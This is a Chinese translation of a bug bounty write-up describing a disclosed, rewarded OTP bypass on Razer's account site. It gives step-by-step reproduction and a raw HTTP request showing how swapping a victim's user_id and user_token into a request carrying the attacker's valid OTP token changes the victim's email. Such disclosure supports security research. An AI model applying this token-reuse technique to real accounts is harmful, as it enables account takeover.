大家好,我是@dhakal_ananda,來自尼泊爾,這是我在Hackerone上參加的雷蛇漏洞懸賞項目的一部分。一開始這個漏洞懸賞項目是一個非公開項目,我接到邀請后并沒有參加;后來它變成了公開項目,我反而對它起了興趣。
在挖掘漏洞時,我更喜歡繞過各種安全功能(例如二次驗證),而不是挖掘普通的XSS和SQL漏洞,于是我很快開始嘗試繞過動態密碼,因為它在你每次執行敏感操作時都會出現。
在進行了幾次測試后,我發現目標應用會使用一個很長的令牌來標記是否輸入了動態密碼。只有輸入有效的動態密碼,才提供令牌。
那么我們能做些什么來繞過動態密碼亦或是令牌的限制呢?我很快就想到,不同用戶之間的令牌是否能通用?于是我進行了簡單的嘗試,發現確實有效。
復現步驟
- 登錄攻擊者的賬戶
- 轉到https://razerid.razer.com/account,修改電子郵件地址
- 你將看到彈出一個對話框,提示需要輸入動態密碼
- 輸入有效動態密碼,再用BurpSuite攔截住更改電子郵件的最后請求
- 將請求發送到BurpSuite的Repeater中
- 此時登錄受害者帳戶(假設你有受害者帳戶密碼)
- 更改名稱,攔截住相關請求
- 復制請求中的user_id和user_token,將其保存到文件中
- 轉到BurpSuite攔截的攻擊帳戶更改電子郵件的請求中,將該請求中的user_id和user_token替換為受害者帳戶的user_id和user_token(user_token和動態密碼產生的令牌并不一樣)
- 最后提交修改后的請求,查看受害者帳戶綁定的電子郵件地址是否為攻擊者所控制的電子郵件地址。
POST /api/emily/7/user-security/post HTTP/1.1 Host: razerid.razer.com Connection: close Content-Length: 260 Accept: Application/json, text/plain, */* Origin: https://razerid.razer.com User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/77.0.3865.120 Safari/537.36 DNT: 1 Sec-Fetch-Mode: cors Content-Type: application/json;charset=UTF-8 Sec-Fetch-Site: same-origin Referer: https://razerid.razer.com/account/email Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: ... {"data":"<COP><User><ID>user_id</ID><Token>user_token</Token><OTPToken>otp_token_value_here</OTPToken><login><email>attacker-email@example.com</email><method>add</method><primary>1</primary></login></User><ServiceCode>0060</ServiceCode></COP>"}
需要說明的是,在和雷蛇官網交互的過程中,和身份驗證有關的有三個字段,它分別為user_id、user_token和OTP_token。其中OTP_token只有在輸入動態密碼的情況下才能獲得。而雷蛇網站缺乏對令牌OTP_token的身份控制,只是驗證了其有效性,導致所有的帳戶都能利用同一個帳戶的OTP_token繞過動態密碼驗證。
我把報告寫的很詳細,提交給雷蛇,但雷蛇的審核人員居然認為這個漏洞需要物理接觸受害者的機器才能進行?
在經過長時間的扯皮后,雷蛇表示,他們提供一個測試帳號,如果我能更改帳號綁定的電子郵件地址,就認同我的漏洞。
很快,我就把這個帳號和我的電子郵件地址綁定在一起。雷蛇最后也給了我1000美元的漏洞獎勵。
在這次經歷后,我又找到了另一個動態密碼繞過漏洞,在雷蛇修復后將會對外公開。
本文由白帽匯整理并翻譯,不代表白帽匯任何觀點和立場
來源:https://nosec.org/home/detail/3056.html
原文:https://medium.com/@anandadhakal13/how-i-was-able-to-bypass-otp-token-requirement-in-razer-the-story-of-a-critical-bug-fc63a94ad572